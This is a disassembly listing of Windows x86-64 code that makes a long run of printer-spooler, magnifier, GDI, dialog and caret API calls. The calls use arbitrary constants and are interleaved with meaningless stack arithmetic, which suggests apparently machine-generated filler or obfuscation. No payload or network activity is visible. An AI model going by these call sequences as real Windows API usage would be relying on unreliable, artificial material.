mov dword [rsp + 0x4768], eax
movzx eax, word [0x14024f3c8]
mov rcx, qword [rsp + 0x8e58]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf04], ax
lea rdx, [rsp + 0x1f070]
mov rcx, qword [rsp + 0x8bf8]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x47a8], eax
lea rcx, [rsp + 0x1f2a0]
call sub.MAGNIFICATION.dll_MagGetFullscreenColorEffect
mov dword [rsp + 0x4790], eax
movsx eax, byte [rsp + 0x272]
movsx ecx, byte [rsp + 0x271]
shl eax, cl
mov rcx, qword [rsp + 0x8ef0]
mov byte [rcx], al
mov eax, dword [rsp + 0x4764]
mov dword [rsp + 0x46c4], eax
lea rax, [rsp + 0x8e18]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xfe
lea r9, [rsp + 0x26a]
mov r8d, 0xea
mov rdx, qword [rsp + 0x8c40]
mov rcx, qword [rsp + 0x8cc8]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x476c], eax
lea rdx, [rsp + 0x1a2c8]
mov rcx, qword [rsp + 0x1a1d0]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x47f8], eax
lea r8, [rsp + 0x9008]
lea rdx, [rsp + 0x46c4]
lea rcx, [rsp + 0x8bf8]
call sub.MAGNIFICATION.dll_MagGetFullscreenTransform
mov dword [rsp + 0x4734], eax
movsx eax, word [rsp + 0xa54]
movsx ecx, word [rsp + 0xb4c]
add eax, ecx
mov word [rsp + 0xef0], ax
lea rax, [rsp + 0x1eeb0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xad
lea r9, [rsp + 0x9020]
lea r8, [rsp + 0x8e60]
mov rdx, qword [rsp + 0x8f28]
mov rcx, qword [rsp + 0x9440]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x4770], eax
jmp 0x14019e01e
lea rcx, [rsp + 0x1f000]
call sub.MAGNIFICATION.dll_MagGetFullscreenColorEffect
mov dword [rsp + 0x47a4], eax
mov rax, qword [rsp + 0x8e60]
mov rcx, qword [rsp + 0x8e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
jmp 0x14019e01e
movzx eax, byte [rsp + 0x270]
movzx ecx, byte [rsp + 0x1d3]
sub eax, ecx
mov byte [rsp + 0x26a], al
lea r8, [rsp + 0x4764]
xor edx, edx
mov rcx, qword [rsp + 0x92c8]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x78fc], eax
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x49a8], eax
jmp 0x14019e01e
mov edx, 0x62
mov ecx, 0xb5
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0x9098], rax
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x8d38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x80e0], rax
lea r8, [rsp + 0x4768]
lea rdx, [rsp + 0x8bc0]
lea rcx, [rsp + 0x4314]
call sub.MAGNIFICATION.dll_MagGetFullscreenTransform
mov dword [rsp + 0x473c], eax
mov rax, qword [rsp + 0x8f10]
mov rcx, qword [rsp + 0x9008]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8f10]
mov qword [rcx], rax
lea rdx, [rsp + 0x1eeb0]
mov rcx, qword [rsp + 0x1a1f8]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x46d0], eax
movzx eax, word [0x14024f3c8]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf00], ax
lea rax, [rsp + 0x46c4]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xb4c]
mov qword [rsp + 0x20], rax
mov r9d, 0x88
lea r8, [rsp + 0x1a310]
mov rdx, qword [rsp + 0x9320]
mov rcx, qword [rsp + 0x8b48]
call sub.WINSPOOL.DRV_EnumPrinterDataExW
mov dword [rsp + 0x48e4], eax
mov r8d, 0x16
mov rdx, qword [rsp + 0x8fe8]
mov rcx, qword [rsp + 0x9158]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov dword [rsp + 0x20], 0x9e
lea r9, [rsp + 0x8b70]
mov r8d, 0x41
mov edx, 0xc0
mov rcx, qword [rsp + 0x8c60]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x4660], eax
mov edx, 0xdb
mov ecx, 0x55
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0x9250], rax
mov eax, dword [rsp + 0x4768]
mov dword [rsp + 0x48e4], eax
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb4c]
sub eax, ecx
mov rcx, qword [rsp + 0x9170]
mov word [rcx], ax
mov r9d, 3
mov r8d, 0xb4
mov edx, 0xd9
mov rcx, qword [rsp + 0x90f8]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b70], rax
mov qword [rsp + 0x20], 0xaf
mov r9, qword [rsp + 0x91a8]
mov r8, qword [rsp + 0x1a1c8]
mov rdx, qword [rsp + 0x8b30]
mov rcx, qword [rsp + 0x8bd0]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x4648], eax
lea rax, [rsp + 0x7b18]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x7f10]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x60
lea r9, [rsp + 0x8da0]
mov r8d, 0x65
mov rdx, qword [rsp + 0x94e8]
mov ecx, 0x63
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x4660], eax
movsx eax, byte [rsp + 0x271]
mov rcx, qword [rsp + 0x9160]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x272], al
mov r9d, 0x39
lea r8, [rsp + 0x270]
xor edx, edx
mov rcx, qword [rsp + 0x8da8]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x4794], eax
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x49a8], eax
jmp 0x14019e6e0
lea rax, [rsp + 0x8c40]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xef0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xc1
lea rax, [rsp + 0x1edf0]
mov qword [rsp + 0x20], rax
mov r9d, 0x7c
mov r8d, 0x99
mov edx, 0xfd
mov rcx, qword [rsp + 0x8c18]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x46a8], eax
mov dword [rsp + 0x28], 0x73
lea rax, [rsp + 0x1a2f8]
mov qword [rsp + 0x20], rax
mov r9d, 0xb3
mov r8, qword [rsp + 0x91d8]
mov rdx, qword [rsp + 0x9118]
mov rcx, qword [rsp + 0x1a1b0]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x4440], eax
lea rax, [rsp + 0x8c60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xf9
lea r9, [rsp + 0x8ce8]
mov r8d, 0x76
mov edx, 0x92
mov rcx, qword [rsp + 0x8c88]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x4758], eax
jmp 0x14019e6e0
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf00]
and eax, ecx
mov word [rsp + 0x6d8], ax
lea rdx, [rsp + 0x1f070]
mov rcx, qword [rsp + 0x8b58]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x48dc], eax
mov rax, qword [rsp + 0x8f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x270], al
mov r8, qword [rsp + 0x9038]
mov rdx, qword [rsp + 0x1a208]
mov rcx, qword [rsp + 0x1a158]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x466c], eax
lea rax, [rsp + 0x1a248]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x47d8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 2
lea r9, [rsp + 0x9170]
mov r8d, 0x2c
mov rdx, qword [rsp + 0x9108]
mov ecx, 0xd7
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x475c], eax
mov rax, qword [rsp + 0x8e10]
mov ecx, dword [rsp + 0x47b8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
jmp 0x14019e6e0
movzx eax, word [rsp + 0x6d8]
movzx ecx, word [rsp + 0xf00]
add eax, ecx
mov word [rsp + 0xf04], ax
mov edx, 0x84
mov rcx, qword [rsp + 0x1a198]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x9410], rax
lea rcx, [rsp + 0x1a278]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x9098], rax
lea rdx, [rsp + 0x1a2e0]
mov rcx, qword [rsp + 0x92f0]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x4720], eax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4648]
sar eax, cl
mov dword [0x14022fb5c], eax
lea rcx, [rsp + 0x1edf0]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x4744], eax
lea rcx, [rsp + 0x1f310]
call sub.MAGNIFICATION.dll_MagGetFullscreenColorEffect
mov dword [rsp + 0x47a8], eax
mov rax, qword [rsp + 0x8ef0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x271]
or eax, ecx
mov rcx, qword [rsp + 0x8ef0]
mov byte [rcx], al
jmp 0x14019e6e0
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa54]
xor eax, ecx
mov word [rsp + 0xb4c], ax
mov edx, 0xf1
lea rcx, [rsp + 0x8ba8]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x8c58], rax
mov edx, 0x3c
mov ecx, 0x9b
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0x8c58], rax
lea rax, [rsp + 0x8ef0]
mov qword [rsp + 0x20], rax
mov r9d, 0xf6
lea r8, [rsp + 0x1a2c8]
mov edx, 0x27
mov rcx, qword [rsp + 0x9130]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x4788], eax
mov rax, qword [rsp + 0x9080]
movzx ecx, al
mov rax, qword [rsp + 0x8f60]
shl rax, cl
mov qword [rsp + 0x80e0], rax
lea rax, [rsp + 0x8cf8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x5d
lea r9, [rsp + 0x9158]
lea r8, [rsp + 0x8410]
mov rdx, qword [rsp + 0x8be0]
mov rcx, qword [rsp + 0x8b28]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x48e4], eax
mov dword [rsp + 0x28], 0x4b
lea rax, [rsp + 0x274]
mov qword [rsp + 0x20], rax
mov r9d, 0x8d
mov r8, qword [rsp + 0x8db8]
mov rdx, qword [rsp + 0x1a220]
mov rcx, qword [rsp + 0x8eb8]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x4440], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x26f]
and eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf00], ax
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x47cc], eax
lea r9, [rsp + 0x9170]
mov r8d, 0x1a
mov rdx, qword [rsp + 0x8c10]
mov rcx, qword [rsp + 0x1a228]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x46c8], eax
mov dword [rsp + 0x20], 0xa
lea r9, [rsp + 0x9080]
mov r8d, 0xae
lea rdx, [rsp + 0x8ef0]
mov rcx, qword [rsp + 0x9110]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x46a4], eax
mov eax, dword [rsp + 0x4710]
mov dword [rsp + 0x474c], eax
xor r8d, r8d
mov rdx, qword [rsp + 0x8ec8]
mov rcx, qword [rsp + 0x9438]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x4644], eax
jmp 0x14019e6e0
mov rax, qword [rsp + 0x8f10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7b18]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9008]
mov qword [rcx], rax
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x46b4], eax
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x8cf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x80e0], rax
lea r9, [rsp + 0x8e78]
mov r8d, 0xb1
mov rdx, qword [rsp + 0x9258]
mov rcx, qword [rsp + 0x8cc8]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x4760], eax
mov r8d, 0x15
mov rdx, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x9060]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov edx, 0x85
mov ecx, 0x39
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0x9020], rax
lea rax, [rsp + 0x4684]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xc6
lea rax, [rsp + 0x1a278]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xb4c]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x9010]
mov qword [rsp + 0x20], rax
mov r9d, 0xc2
mov r8, qword [rsp + 0x9100]
mov edx, 0x22
mov rcx, qword [rsp + 0x1a1c0]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x4710], eax
movsx eax, word [rsp + 0xef0]
mov rcx, qword [rsp + 0x9170]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14024f3bc], ax
mov eax, dword [rsp + 0x4764]
mov ecx, dword [rsp + 0x4684]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
lea rcx, [rsp + 0x1eeb0]
call sub.MAGNIFICATION.dll_MagGetFullscreenColorEffect
mov dword [rsp + 0x4798], eax
mov r9d, 0x2a
mov r8d, 0x1b
mov rdx, qword [rsp + 0x1a120]
mov rcx, qword [rsp + 0x9060]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x4674], eax
jmp 0x14019e905
mov rax, qword [rsp + 0x8110]
movzx ecx, al
mov rax, qword [rsp + 0x8e30]
shl rax, cl
mov qword [rsp + 0x8f60], rax
lea r9, [rsp + 0x7b18]
mov r8d, 0x1d
mov rdx, qword [rsp + 0x9240]
mov rcx, qword [rsp + 0x9090]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x46a8], eax
movzx eax, byte [rsp + 0x274]
movzx ecx, byte [rsp + 0xee]
and eax, ecx
mov rcx, qword [rsp + 0x8f18]
mov byte [rcx], al
xor r8d, r8d
mov rdx, qword [rsp + 0x8ec8]
mov rcx, qword [rsp + 0x8ec0]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x4764], eax
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb4c]
add eax, ecx
mov word [0x14024f3be], ax
mov r9d, 0xa9
lea r8, [rsp + 0x8f10]
mov edx, 0x1d
mov rcx, qword [rsp + 0x8c88]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x47fc], eax
jmp 0x14019e905
lea rdx, [rsp + 0x1a2f8]
mov rcx, qword [rsp + 0x8b40]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x466c], eax
mov dword [rsp + 0x20], 0x1b
lea r9, [rsp + 0x26f]
mov r8d, 0x90
mov edx, 0x63
mov rcx, qword [rsp + 0x8f38]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x78fc], eax
mov edx, 0x6d
lea rcx, [rsp + 0x8f60]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x8c08], rax
mov eax, dword [rsp + 0x4314]
mov ecx, dword [rsp + 0x4668]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4744], eax
movsx eax, word [rsp + 0xb4c]
movsx ecx, word [rsp + 0xef0]
sub eax, ecx
mov rcx, qword [rsp + 0x9170]
mov word [rcx], ax
lea rax, [rsp + 0x8f18]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x3a
lea r9, [rsp + 0x8da0]
lea r8, [rsp + 0x8f10]
mov rdx, qword [rsp + 0x9340]
mov rcx, qword [rsp + 0x9068]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x47b4], eax
mov edx, 0xe2
lea rcx, [rsp + 0x273]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x8f30], rax
mov rax, qword [rsp + 0x9160]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ef0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x271], al
lea rax, [rsp + 0xef0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1a158]
mov qword [rsp + 0x20], rax
mov r9d, 0x9d
lea r8, [rsp + 0x1a2c8]
mov rdx, qword [rsp + 0x91d8]
mov rcx, qword [rsp + 0x1a1d0]
call sub.WINSPOOL.DRV_EnumPrinterDataExW
mov dword [rsp + 0x47d0], eax
mov dword [rsp + 0x20], 8
lea r9, [rsp + 0x1edf0]
mov r8d, 0x6e
mov edx, 0xe3
mov rcx, qword [rsp + 0x8dc0]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x46b4], eax
lea rax, [rsp + 0x9038]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xaf
lea rax, [rsp + 0x1f000]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x8eb0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8d68]
mov qword [rsp + 0x20], rax
mov r9d, 0x83
mov r8, qword [rsp + 0x8ed0]
mov edx, 0xef
mov rcx, qword [rsp + 0x9410]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x46d4], eax
movzx eax, word [rsp + 0xf04]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x6d8], ax
mov dword [rsp + 0x28], 0x4e
lea rax, [rsp + 0x8d68]
mov qword [rsp + 0x20], rax
mov r9d, 0xf0
mov r8, qword [rsp + 0x1a230]
mov rdx, qword [rsp + 0x8ca0]
mov rcx, qword [rsp + 0x8c88]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x47d8], eax
lea rdx, [rsp + 0x1f070]
mov rcx, qword [rsp + 0x8fb8]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x46a4], eax
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x8d38]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8cf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8cf8]
mov qword [rsp + 0x1a238], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a238]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8f60], rax
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x46c8], eax
mov r9d, 0x47
lea r8, [rsp + 0x9158]
mov edx, 0x11
mov rcx, qword [rsp + 0x8c70]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x7900], eax
mov r9d, 0xb0
lea r8, [rsp + 0x90e8]
mov edx, 0x90
mov rcx, qword [rsp + 0x1a1d0]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x47ac], eax
mov rax, qword [rsp + 0x8f98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ef0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x271], al
mov edx, 0x49
lea rcx, [rsp + 0x47ac]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x8bf0], rax
lea rcx, [rsp + 0x1a258]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x8bf0], rax
mov eax, dword [rsp + 0x4764]
mov ecx, dword [rsp + 0x4744]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4440]
mov dword [rsp + 0x46d4], eax
lea r9, [rsp + 0x1d3]
mov r8d, 0x8e
mov rdx, qword [rsp + 0x8f28]
mov rcx, qword [rsp + 0x9138]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x46b4], eax
lea rax, [rsp + 0x8ca8]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
mov r8, qword [rsp + 0x94e8]
mov rdx, qword [rsp + 0x9140]
mov rcx, qword [rsp + 0x1a1d0]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x4750], eax
jmp 0x14019ee35
lea rdx, [rsp + 0x1ef90]
mov rcx, qword [rsp + 0x8fe8]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x4870], eax
lea rdx, [rsp + 0x1f000]
mov rcx, qword [rsp + 0x90a0]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x476c], eax
movzx eax, word [rsp + 0xeec]
movzx ecx, word [rsp + 0x6d8]
shl eax, cl
mov rcx, qword [rsp + 0x8f20]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4314]
sar eax, cl
mov dword [rsp + 0x4644], eax
lea rax, [rsp + 0xee]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1eeb0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x5c
lea r9, [rsp + 0x1ef20]
mov r8d, 0x6e
mov rdx, qword [rsp + 0x8de0]
mov ecx, 0x80
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x473c], eax
lea rax, [rsp + 0x8e78]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xef0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x54
lea r9, [rsp + 0x8d70]
mov r8d, 0x1f
mov rdx, qword [rsp + 0x9150]
mov ecx, 0x1b
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x46a4], eax
mov r9d, 0xfc
lea r8, [rsp + 0x7f10]
mov edx, 0xbd
mov rcx, qword [rsp + 0x8c38]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x7918], eax
movsx eax, word [rsp + 0xa54]
movsx ecx, word [0x14024f3be]
xor eax, ecx
mov word [rsp + 0xef0], ax
lea r9, [rsp + 0xeec]
mov r8d, 0x4f
mov rdx, qword [rsp + 0x1a158]
mov rcx, qword [rsp + 0x8e98]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x47a8], eax
movsx eax, byte [rsp + 0x271]
mov rcx, qword [rsp + 0x8f98]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8ef0]
mov byte [rcx], al
lea rax, [rsp + 0x8c90]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1ed90]
mov qword [rsp + 0x20], rax
mov r9d, 0xfb
lea r8, [rsp + 0x8f98]
mov rdx, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0x8e98]
call sub.WINSPOOL.DRV_EnumPrinterDataExW
mov dword [rsp + 0x4738], eax
mov rax, qword [rsp + 0x8f60]
mov rcx, qword [rsp + 0x8110]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e30], rax
mov r9d, 0x5e
mov r8d, 0x4b
mov rdx, qword [rsp + 0x8f50]
mov rcx, qword [rsp + 0x1a1c8]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x4664], eax
mov qword [rsp + 0x20], 0x6e
mov r9, qword [rsp + 0x8bd8]
mov r8, qword [rsp + 0x8fc0]
mov rdx, qword [rsp + 0x91a0]
mov rcx, qword [rsp + 0x8be8]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x8ca8], rax
mov eax, dword [rsp + 0x464c]
movzx ecx, al
mov eax, dword [rsp + 0x46a0]
shl eax, cl
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
lea r9, [rsp + 0x8e00]
mov r8d, 0x48
mov rdx, qword [rsp + 0x8d90]
mov rcx, qword [rsp + 0x8c70]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x7918], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xee], al
mov dword [rsp + 0x20], 0xaa
lea r9, [rsp + 0x1edf0]
mov r8d, 0x5e
lea rdx, [rsp + 0x8eb0]
mov rcx, qword [rsp + 0x8eb8]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x46b4], eax
lea rax, [rsp + 0x8be8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2d
lea r9, [rsp + 0x8d68]
mov r8d, 0xb3
mov edx, 0xad
mov rcx, qword [rsp + 0x8e50]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x4788], eax
lea rax, [rsp + 0x4440]
mov qword [rsp + 0x20], rax
mov r9d, 0x37
mov r8, qword [rsp + 0x8cb0]
mov rdx, qword [rsp + 0x94e8]
mov rcx, qword [rsp + 0x8eb8]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x46d4], eax
lea rdx, [rsp + 0x1f000]
mov rcx, qword [rsp + 0x8cd0]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x46d0], eax
jmp 0x14019f232
mov dword [rsp + 0x28], 0xf8
lea rax, [rsp + 0x4684]
mov qword [rsp + 0x20], rax
mov r9d, 0xb3
mov r8, qword [rsp + 0x8e48]
mov rdx, qword [rsp + 0x8b50]
mov rcx, qword [rsp + 0x8b40]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x46d4], eax
lea r8, [rsp + 0x270]
lea rdx, [rsp + 0x8b08]
lea rcx, [rsp + 0x8c20]
call sub.MAGNIFICATION.dll_MagGetFullscreenTransform
mov dword [rsp + 0x46dc], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
add eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov dword [rsp + 0x4684], eax
lea rax, [rsp + 0x8e08]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x5a
lea r9, [rsp + 0x4664]
lea r8, [rsp + 0x8c18]
mov rdx, qword [rsp + 0x8d90]
mov rcx, qword [rsp + 0x8b28]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x46d4], eax
mov r9d, 0xa0
mov r8d, 0x2b
mov rdx, qword [rsp + 0x8ba0]
mov rcx, qword [rsp + 0x8db0]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x47b0], eax
mov r9d, 0x49
lea r8, [rsp + 0x8c08]
xor edx, edx
mov rcx, qword [rsp + 0x8db0]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x46dc], eax
movsx eax, word [rsp + 0xef0]
sub eax, 0x245
mov word [rsp + 0xef0], ax
lea rax, [rsp + 0x8b08]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xef0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xf1
lea rax, [rsp + 0x4668]
mov qword [rsp + 0x20], rax
mov r9d, 0x10
mov r8d, 0x7d
mov edx, 0x6b
mov rcx, qword [rsp + 0x8cc8]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x47a8], eax
mov qword [rsp + 0x20], 0x16
mov r9, qword [rsp + 0x8bd8]
mov r8, qword [rsp + 0x8f58]
mov rdx, qword [rsp + 0x8b30]
mov rcx, qword [rsp + 0x8bd0]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x4684], eax
movzx eax, word [rsp + 0xeec]
movzx ecx, word [0x14024f3c8]
add eax, ecx
mov rcx, qword [rsp + 0x8e08]
mov word [rcx], ax
movzx eax, byte [rsp + 0x270]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x26f], al
